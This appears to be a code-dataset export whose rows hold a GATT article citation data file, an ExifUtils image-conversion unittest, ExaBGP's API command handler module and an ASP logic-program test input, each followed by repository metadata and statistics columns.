'split': 'train'}, {'ds_art': '68_Article XXIII:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '244_Article X', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '343_Article X:3(a)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '184_Article X', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '381_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '350_Article VI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '345_Article X', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '483_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '136_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '269_Article II:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '360_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '18_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '492_Article II:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '290_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '360_Article II:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '175_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '344_Article VI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '384_Article X:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '518_Article II:1(b)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '345_Article VI:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '345_Article II:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '422_Article VI:2(a)', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '312_Article VI:2(a)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '461_Article X:3(a)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '429_Article VI:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '464_Article VI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '384_Article X:3(a)', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '336_Article VI:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '447_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '396_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '482_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '67_Article II', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '238_Article XIX:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '152_Article VIII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '135_Article XXIII:1(b)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '353_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '56_Article X', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '34_Article XIII', 'version': '1.0.0', 'cited': True, 'split': 'test'}]
article_iii_cited = [{'ds_art': '400_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '412_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '87_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '135_Article III', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '308_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '266_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '161_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '477_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '339_Article III:5', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '371_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '175_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '283_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '108_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '499_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '301_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '371_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '360_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '412_Article III:5', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '290_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '276_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '456_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '139_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '343_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '265_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '302_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '472_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '69_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '435_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '162_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '453_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '155_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '406_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '162_Article III', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '316_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '475_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '146_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '75_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '476_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '339_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '363_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '231_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '472_Article III:5', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '302_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '453_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '2_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '267_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '384_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '339_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '174_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '396_Article III:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '472_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '276_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '484_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '152_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '332_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '366_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '339_Article III:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '31_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '381_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '136_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '360_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '290_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '175_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '447_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '396_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '353_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}]
article_iii_cited_ds = [2, 31, 69, 75, 87, 108, 135, 136, 139, 146, 152, 155, 161, 162, 174, 175, 231, 265, 266, 267, 276, 283, 290, 301, 302, 308, 316, 332, 339, 343, 353, 360, 363, 366, 371, 381, 384, 396, 400, 406, 412, 435, 447, 453, 456, 472, 475, 476, 477, 484, 499]
| 941.163636
| 35,369
| 0.574453
| 8,321
| 51,764
| 3.455835
| 0.022954
| 0.08433
| 0.151794
| 0.16866
| 0.88538
| 0.849805
| 0.817464
| 0.788462
| 0.78248
| 0.779872
| 0
| 0.097769
| 0.126439
| 51,764
| 54
| 35,370
| 958.592593
| 0.538159
| 0
| 0
| 0
| 0
| 0
| 0.568707
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
623111e9b6f7376372ad2e368d59d4ad51f55b9c
| 3,038
|
py
|
Python
|
tests/test_helpers.py
|
DavidLSmyth/ExifUtils
|
c52c24b8633208ed03709d230e094a99bb6da288
|
[
"BSD-2-Clause"
] | null | null | null |
tests/test_helpers.py
|
DavidLSmyth/ExifUtils
|
c52c24b8633208ed03709d230e094a99bb6da288
|
[
"BSD-2-Clause"
] | null | null | null |
tests/test_helpers.py
|
DavidLSmyth/ExifUtils
|
c52c24b8633208ed03709d230e094a99bb6da288
|
[
"BSD-2-Clause"
] | null | null | null |
#stdlib
import unittest
import pathlib
import os
#user defined
from ExifUtils.helpers import copy_file, convert_png_to_jpg, verify_file_exists, verify_dir_exists
class HelpersTestSuite(unittest.TestCase):
"""Basic test cases."""
def test_copy_file(self):
self.base_path = pathlib.Path(os.path.dirname(os.path.abspath(__file__)))
self.jpg_dir = self.base_path.joinpath("TestImages").joinpath("JPGImages")
try:
os.remove(str(self.base_path.joinpath("TestImages/JPGImages/Mario.png")))
except Exception as e:
print(e)
try:
os.remove(str(self.base_path.joinpath("TestImages/JPGImages/Dice.png")))
except Exception as e:
print(e)
self.png_one_loc = self.base_path.joinpath("TestImages/PNGImages/Dice.png")
self.png_two_loc = self.base_path.joinpath("TestImages/PNGImages/Mario.png")
self.copied_png_one_loc = self.base_path.joinpath("TestImages/JPGImages/Dice.png")
self.copied_png_two_loc = self.base_path.joinpath("TestImages/JPGImages/Mario.png")
self.jpg_one_loc = self.base_path.joinpath("TestImages/JPGImages/Dice.jpg")
self.jpg_two_loc = self.base_path.joinpath("TestImages/JPGImages/Mario.jpg")
copy_file(str(self.png_one_loc), str(self.jpg_dir))
copy_file(str(self.png_two_loc), str(self.jpg_dir))
print('testing if ',str(self.base_path.joinpath("TestImages/JPGImages/Dice.png")), ' exists')
print('testing if ',str(self.base_path.joinpath("TestImages/JPGImages/Mario.png")), ' exists')
self.assertTrue(verify_file_exists(str(self.copied_png_one_loc)))
self.assertTrue(verify_file_exists(str(self.copied_png_two_loc)))
def test_convert_png_to_jpg(self):
self.base_path = pathlib.Path(os.path.dirname(os.path.abspath(__file__)))
self.jpg_dir = self.base_path.joinpath("TestImages").joinpath("JPGImages")
try:
os.remove(str(self.base_path.joinpath("TestImages/JPGImages/Mario.png")))
except Exception as e:
print(e)
try:
os.remove(str(self.base_path.joinpath("TestImages/JPGImages/Dice.png")))
except Exception as e:
print(e)
self.png_one_loc = self.base_path.joinpath("TestImages/PNGImages/Dice.png")
self.png_two_loc = self.base_path.joinpath("TestImages/PNGImages/Mario.png")
self.copied_png_one_loc = self.base_path.joinpath("TestImages/JPGImages/Dice.png")
self.copied_png_two_loc = self.base_path.joinpath("TestImages/JPGImages/Mario.png")
self.jpg_one_loc = self.base_path.joinpath("TestImages/JPGImages/Dice.jpg")
self.jpg_two_loc = self.base_path.joinpath("TestImages/JPGImages/Mario.jpg")
if not verify_file_exists(str(self.copied_png_one_loc)):
copy_file(str(self.png_one_loc), str(self.jpg_dir))
if not verify_file_exists(str(self.copied_png_two_loc)):
copy_file(str(self.png_two_loc), str(self.jpg_dir))
convert_png_to_jpg(str(self.copied_png_one_loc))
convert_png_to_jpg(str(self.copied_png_two_loc))
self.assertTrue(verify_file_exists(str(self.jpg_one_loc)))
self.assertTrue(verify_file_exists(str(self.jpg_two_loc)))
if __name__ == '__main__':
unittest.main()
| 38.948718
| 98
| 0.765964
| 467
| 3,038
| 4.687366
| 0.117773
| 0.080402
| 0.120603
| 0.182732
| 0.881224
| 0.881224
| 0.877113
| 0.877113
| 0.848789
| 0.714482
| 0
| 0
| 0.097433
| 3,038
| 78
| 99
| 38.948718
| 0.798322
| 0.01185
| 0
| 0.654545
| 0
| 0
| 0.204606
| 0.177236
| 0
| 0
| 0
| 0
| 0.072727
| 1
| 0.036364
| false
| 0
| 0.072727
| 0
| 0.127273
| 0.109091
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
656eda47dc043174f89da89db69465c7bc4e98b1
| 15,989
|
py
|
Python
|
lib/exabgp/reactor/api/command.py
|
bopopescu/exabgp34-bgpls
|
ce4932bcf9b5aa195a0e1d79f35894d5ed37c226
|
[
"BSD-3-Clause"
] | 2
|
2017-03-20T22:54:40.000Z
|
2021-02-24T02:05:38.000Z
|
lib/exabgp/reactor/api/command.py
|
bopopescu/exabgp34-bgpls
|
ce4932bcf9b5aa195a0e1d79f35894d5ed37c226
|
[
"BSD-3-Clause"
] | null | null | null |
lib/exabgp/reactor/api/command.py
|
bopopescu/exabgp34-bgpls
|
ce4932bcf9b5aa195a0e1d79f35894d5ed37c226
|
[
"BSD-3-Clause"
] | 1
|
2020-07-23T16:53:26.000Z
|
2020-07-23T16:53:26.000Z
|
# encoding: utf-8
"""
command.py
Created by Thomas Mangin on 2015-12-15.
Copyright (c) 2009-2015 Exa Networks. All rights reserved.
"""
from exabgp.version import version as _version
def _extract_neighbors (command):
"""return a list of neighbor definition : the neighbor definition is a list of string which are in the neighbor indexing string"""
# This function returns a list and a string
# The first list contains parsed neighbor to match against our defined peers
# The string is the command to be run for those peers
# The parsed neighbor is a list of the element making the neighbor string so each part can be checked against the neighbor name
returned = []
neighbor,remaining = command.split(' ',1)
if neighbor != 'neighbor':
return [],command
ip,command = remaining.split(' ',1)
definition = ['neighbor %s' % (ip)]
while True:
try:
key,value,remaining = command.split(' ',2)
except ValueError:
key,value = command.split(' ',1)
if key == ',':
returned.append(definition)
_,command = command.split(' ',1)
definition = []
continue
if key not in ['neighbor','local-ip','local-as','peer-as','router-id','family-allowed']:
if definition:
returned.append(definition)
break
definition.append('%s %s' % (key,value))
command = remaining
return returned,command
def shutdown (self, reactor, service, command):
reactor.api_shutdown()
reactor.answer(service,'shutdown in progress')
return True
def reload (self, reactor, service, command):
reactor.api_reload()
reactor.answer(service,'reload in progress')
return True
def restart (self, reactor, service, command):
reactor.api_restart()
reactor.answer(service,'restart in progress')
return True
def version (self, reactor, service, command):
reactor.answer(service,'exabgp %s' % _version)
return True
def log (self, reactor, service, command):
self.logger.processes(command.lstrip().lstrip('#').strip())
return True
def teardown (self, reactor, service, command):
try:
descriptions,command = _extract_neighbors(command)
_,code = command.split(' ',1)
for key in reactor.peers:
for description in descriptions:
if reactor.match_neighbor(description,key):
reactor.peers[key].teardown(int(code))
self.logger.reactor('teardown scheduled for %s' % ' '.join(description))
return True
except ValueError:
return False
except IndexError:
return False
def show_neighbor (self, reactor, service, command):
def callback ():
for key in reactor.configuration.neighbor.keys():
neighbor = reactor.configuration.neighbor[key]
for line in str(neighbor).split('\n'):
reactor.answer(service,line)
yield True
reactor.plan(callback())
return True
def show_neighbors (self, reactor, service, command):
def callback ():
for key in reactor.configuration.neighbor.keys():
neighbor = reactor.configuration.neighbor[key]
for line in str(neighbor).split('\n'):
reactor.answer(service,line)
yield True
reactor.plan(callback())
return True
def show_routes (self, reactor, service, command):
def callback ():
last = command.split()[-1]
if last == 'routes':
neighbors = reactor.configuration.neighbor.keys()
else:
neighbors = [n for n in reactor.configuration.neighbor.keys() if 'neighbor %s' % last in n]
for key in neighbors:
neighbor = reactor.configuration.neighbor[key]
for change in list(neighbor.rib.outgoing.sent_changes()):
reactor.answer(service,'neighbor %s %s' % (neighbor.peer_address,str(change.nlri)))
yield True
reactor.plan(callback())
return True
def show_routes_extensive (self, reactor, service, command):
def callback ():
last = command.split()[-1]
if last == 'extensive':
neighbors = reactor.configuration.neighbor.keys()
else:
neighbors = [n for n in reactor.configuration.neighbor.keys() if 'neighbor %s' % last in n]
for key in neighbors:
neighbor = reactor.configuration.neighbor[key]
for change in list(neighbor.rib.outgoing.sent_changes()):
reactor.answer(service,'neighbor %s %s' % (neighbor.name(),change.extensive()))
yield True
reactor.plan(callback())
return True
def announce_watchdog (self, reactor, service, command):
def callback (name):
for neighbor in reactor.configuration.neighbor:
reactor.configuration.neighbor[neighbor].rib.outgoing.announce_watchdog(name)
yield False
reactor.route_update = True
try:
name = command.split(' ')[2]
except IndexError:
name = service
reactor.plan(callback(name))
return True
def withdraw_watchdog (self, reactor, service, command):
def callback (name):
for neighbor in reactor.configuration.neighbor:
reactor.configuration.neighbor[neighbor].rib.outgoing.withdraw_watchdog(name)
yield False
reactor.route_update = True
try:
name = command.split(' ')[2]
except IndexError:
name = service
reactor.plan(callback(name))
return True
def flush_route (self, reactor, service, command):
def callback (self, peers):
self.logger.reactor("Flushing routes for %s" % ', '.join(peers if peers else []) if peers is not None else 'all peers')
yield True
reactor.route_update = True
try:
descriptions,command = _extract_neighbors(command)
peers = reactor.match_neighbors(descriptions)
if not peers:
self.logger.reactor('no neighbor matching the command : %s' % command,'warning')
return False
reactor.plan(callback(self,peers))
return True
except ValueError:
return False
except IndexError:
return False
def announce_route (self, reactor, service, command):
def callback (self, command, nexthops):
changes = self.format.parse_api_route(command,nexthops,'announce')
if not changes:
self.logger.reactor("Command could not parse route in : %s" % command,'warning')
yield True
else:
peers = []
for (peer,change) in changes:
peers.append(peer)
reactor.configuration.change_to_peers(change,[peer,])
self.logger.reactor("Route added to %s : %s" % (', '.join(peers if peers else []) if peers is not None else 'all peers',change.extensive()))
yield False
reactor.route_update = True
try:
descriptions,command = _extract_neighbors(command)
peers = reactor.match_neighbors(descriptions)
if not peers:
self.logger.reactor('no neighbor matching the command : %s' % command,'warning')
return False
reactor.plan(callback(self,command,reactor.nexthops(peers)))
return True
except ValueError:
return False
except IndexError:
return False
def withdraw_route (self, reactor, service, command):
def callback (self, command, nexthops):
changes = self.format.parse_api_route(command,nexthops,'withdraw')
if not changes:
self.logger.reactor("Command could not parse route in : %s" % command,'warning')
yield True
else:
for (peer,change) in changes:
if reactor.configuration.change_to_peers(change,[peer,]):
self.logger.reactor("Route removed : %s" % change.extensive())
yield False
else:
self.logger.reactor("Could not find therefore remove route : %s" % change.extensive(),'warning')
yield False
reactor.route_update = True
try:
descriptions,command = _extract_neighbors(command)
peers = reactor.match_neighbors(descriptions)
if not peers:
self.logger.reactor('no neighbor matching the command : %s' % command,'warning')
return False
reactor.plan(callback(self,command,reactor.nexthops(peers)))
return True
except ValueError:
return False
except IndexError:
return False
def announce_vpls (self, reactor, service, command):
def callback (self, command, nexthops):
changes = self.format.parse_api_vpls(command,nexthops,'announce')
if not changes:
self.logger.reactor("Command could not parse vpls in : %s" % command,'warning')
yield True
else:
peers = []
for (peer,change) in changes:
peers.append(peer)
reactor.configuration.change_to_peers(change,[peer,])
self.logger.reactor("vpls added to %s : %s" % (', '.join(peers if peers else []) if peers is not None else 'all peers',change.extensive()))
yield False
reactor.route_update = True
try:
descriptions,command = _extract_neighbors(command)
peers = reactor.match_neighbors(descriptions)
if not peers:
self.logger.reactor('no neighbor matching the command : %s' % command,'warning')
return False
reactor.plan(callback(self,command,reactor.nexthops(peers)))
return True
except ValueError:
return False
except IndexError:
return False
def withdraw_vpls (self, reactor, service, command):
def callback (self, command, nexthops):
changes = self.format.parse_api_vpls(command,nexthops,'withdraw')
if not changes:
self.logger.reactor("Command could not parse vpls in : %s" % command,'warning')
yield True
else:
for (peer,change) in changes:
if reactor.configuration.change_to_peers(change,[peer,]):
self.logger.reactor("vpls removed : %s" % change.extensive())
yield False
else:
self.logger.reactor("Could not find therefore remove vpls : %s" % change.extensive(),'warning')
yield False
reactor.route_update = True
try:
descriptions,command = _extract_neighbors(command)
peers = reactor.match_neighbors(descriptions)
if not peers:
self.logger.reactor('no neighbor matching the command : %s' % command,'warning')
return False
reactor.plan(callback(self,command,reactor.nexthops(peers)))
return True
except ValueError:
return False
except IndexError:
return False
def announce_attribute (self, reactor, service, command):
def callback (self, command, nexthops):
changes = self.format.parse_api_attribute(command,nexthops,'announce')
if not changes:
self.logger.reactor("Command could not parse attribute in : %s" % command,'warning')
yield True
else:
for (peers,change) in changes:
reactor.configuration.change_to_peers(change,peers)
self.logger.reactor("Route added to %s : %s" % (', '.join(peers if peers else []) if peers is not None else 'all peers',change.extensive()))
yield False
reactor.route_update = True
try:
descriptions,command = _extract_neighbors(command)
peers = reactor.match_neighbors(descriptions)
if not peers:
self.logger.reactor('no neighbor matching the command : %s' % command,'warning')
return False
reactor.plan(callback(self,command,reactor.nexthops(peers)))
return True
except ValueError:
return False
except IndexError:
return False
def withdraw_attribute (self, reactor, service, command):
def callback (self, command, nexthops):
changes = self.format.parse_api_attribute(command,nexthops,'withdraw')
if not changes:
self.logger.reactor("Command could not parse attribute in : %s" % command,'warning')
yield True
else:
for (peers,change) in changes:
if reactor.configuration.change_to_peers(change,peers):
self.logger.reactor("Route removed : %s" % change.extensive())
yield False
else:
self.logger.reactor("Could not find therefore remove route : %s" % change.extensive(),'warning')
yield False
reactor.route_update = True
try:
descriptions,command = _extract_neighbors(command)
peers = reactor.match_neighbors(descriptions)
if not peers:
self.logger.reactor('no neighbor matching the command : %s' % command,'warning')
return False
reactor.plan(callback(self,command,reactor.nexthops(peers)))
return True
except ValueError:
return False
except IndexError:
return False
def announce_flow (self, reactor, service, command):
def callback (self, command, peers):
changes = self.format.parse_api_flow(command,'announce')
if not changes:
self.logger.reactor("Command could not parse flow in : %s" % command)
yield True
else:
for change in changes:
reactor.configuration.change_to_peers(change,peers)
self.logger.reactor("Flow added to %s : %s" % (', '.join(peers if peers else []) if peers is not None else 'all peers',change.extensive()))
yield False
reactor.route_update = True
try:
descriptions,command = _extract_neighbors(command)
peers = reactor.match_neighbors(descriptions)
if not peers:
self.logger.reactor('no neighbor matching the command : %s' % command,'warning')
return False
reactor.plan(callback(self,command,peers))
return True
except ValueError:
return False
except IndexError:
return False
def withdraw_flow (self, reactor, service, command):
def callback (self, command, peers):
changes = self.format.parse_api_flow(command,'withdraw')
if not changes:
self.logger.reactor("Command could not parse flow in : %s" % command)
yield True
else:
for change in changes:
if reactor.configuration.change_to_peers(change,peers):
self.logger.reactor("Flow found and removed : %s" % change.extensive())
yield False
else:
self.logger.reactor("Could not find therefore remove flow : %s" % change.extensive(),'warning')
yield False
reactor.route_update = True
try:
descriptions,command = _extract_neighbors(command)
peers = reactor.match_neighbors(descriptions)
if not peers:
self.logger.reactor('no neighbor matching the command : %s' % command,'warning')
return False
reactor.plan(callback(self,command,peers))
return True
except ValueError:
return False
except IndexError:
return False
def announce_eor (self, reactor, service, command):
def callback (self, command, peers):
family = self.format.parse_api_eor(command)
if not family:
self.logger.reactor("Command could not parse eor : %s" % command)
yield True
else:
reactor.configuration.eor_to_peers(family,peers)
self.logger.reactor("Sent to %s : %s" % (', '.join(peers if peers else []) if peers is not None else 'all peers',family.extensive()))
yield False
reactor.route_update = True
try:
descriptions,command = _extract_neighbors(command)
peers = reactor.match_neighbors(descriptions)
if not peers:
self.logger.reactor('no neighbor matching the command : %s' % command,'warning')
return False
reactor.plan(callback(self,command,peers))
return True
except ValueError:
return False
except IndexError:
return False
def announce_refresh (self, reactor, service, command):
def callback (self, command, peers):
refresh = self.format.parse_api_refresh(command)
if not refresh:
self.logger.reactor("Command could not parse flow in : %s" % command)
yield True
else:
reactor.configuration.refresh_to_peers(refresh,peers)
self.logger.reactor("Sent to %s : %s" % (', '.join(peers if peers else []) if peers is not None else 'all peers',refresh.extensive()))
yield False
reactor.route_update = True
try:
descriptions,command = _extract_neighbors(command)
peers = reactor.match_neighbors(descriptions)
if not peers:
self.logger.reactor('no neighbor matching the command : %s' % command,'warning')
return False
reactor.plan(callback(self,command,peers))
return True
except ValueError:
return False
except IndexError:
return False
def announce_operational (self, reactor, service, command):
def callback (self, command, peers):
operational = self.format.parse_api_operational(command)
if not operational:
self.logger.reactor("Command could not parse operational command : %s" % command)
yield True
else:
reactor.configuration.operational_to_peers(operational,peers)
self.logger.reactor("operational message sent to %s : %s" % (
', '.join(peers if peers else []) if peers is not None else 'all peers',operational.extensive()
)
)
yield False
reactor.route_update = True
if (command.split() + ['safe'])[1].lower() not in ('asm','adm','rpcq','rpcp','apcq','apcp','lpcq','lpcp'):
return False
try:
descriptions,command = _extract_neighbors(command)
peers = reactor.match_neighbors(descriptions)
if not peers:
self.logger.reactor('no neighbor matching the command : %s' % command,'warning')
return False
reactor.plan(callback(self,command,peers))
return True
except ValueError:
return False
except IndexError:
return False
| 31.289628
| 144
| 0.723622
| 2,088
| 15,989
| 5.478927
| 0.082854
| 0.035839
| 0.059441
| 0.052448
| 0.825787
| 0.816958
| 0.803846
| 0.784878
| 0.77736
| 0.763724
| 0
| 0.002091
| 0.162674
| 15,989
| 510
| 145
| 31.35098
| 0.852405
| 0.034211
| 0
| 0.765258
| 0
| 0
| 0.121102
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.100939
| false
| 0
| 0.002347
| 0
| 0.255869
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
65b8593ea3f71beeb93bb7e590455194b126db11
| 19,304
|
py
|
Python
|
tests/asp/gringo/modelchecker.043.test.py
|
bernardocuteri/wasp
|
05c8f961776dbdbf7afbf905ee00fc262eba51ad
|
[
"Apache-2.0"
] | 19
|
2015-12-03T08:53:45.000Z
|
2022-03-31T02:09:43.000Z
|
tests/asp/gringo/modelchecker.043.test.py
|
bernardocuteri/wasp
|
05c8f961776dbdbf7afbf905ee00fc262eba51ad
|
[
"Apache-2.0"
] | 80
|
2017-11-25T07:57:32.000Z
|
2018-06-10T19:03:30.000Z
|
tests/asp/gringo/modelchecker.043.test.py
|
bernardocuteri/wasp
|
05c8f961776dbdbf7afbf905ee00fc262eba51ad
|
[
"Apache-2.0"
] | 6
|
2015-01-15T07:51:48.000Z
|
2020-06-18T14:47:48.000Z
|
input = """
p17|p12|p8|not_p8.
p24|p9|p24|not_p22:-p12,p23.
p11|not_p20|p8|not_p15:-p24,p2.
p21|p5|p12|not_p20:-p14.
p6|p4|p7|p18:-p9,p1.
p15|not_p22|p24|not_p12.
not_p21|p20|p18:-p1,not p22.
not_p23|p7|p21|p5:-p13,not p3.
p15|p6:-p19,p5,not p3,not p7.
not_p5:-not p5.
p12|not_p15|p16|p17:-p6,p1.
p24|p9|p24|p10:-p12,p23.
not_p22|p24|p15:-not p23.
p24|p8|not_p15:-p7,p2,not p25.
p2|p24|p15:-not p23.
p24|p9|p24|not_p22:-p19,p23.
not_p4:-not p4.
p15|p4|p3|p1:-p12,p5.
p1|p15|p15|not_p18:-not p5,p24.
p3|p20|p18|p3:-p1,not p22.
:-p19,not_p19.
p6|p7:-p19,not p23,not p3,not p11.
p3|p20|p18:-p1,not p22.
p19|p1|p12:-p19,not p23,not p11.
p17|p6|not_p19|not_p8.
not_p25|p14|p9|not_p3.
p21|p5|p12|not_p20:-p17.
p12|not_p15|p16|p18:-p9,p1.
not_p21|p20|p18|p3:-p13,not p22.
not_p20|not_p1|not_p4:-p7,p2,not p25.
p3|p21|not_p20:-p6,p23,not p4.
p15|p11|p24|p3.
p3|not_p20|p18:-p13,not p22,not p14.
p1|p14|p2|p11:-not p5,p24.
p21|p22|p12|p25|not_p20:-p14.
p24|not_p8|p6|not_p22:-p12,p23.
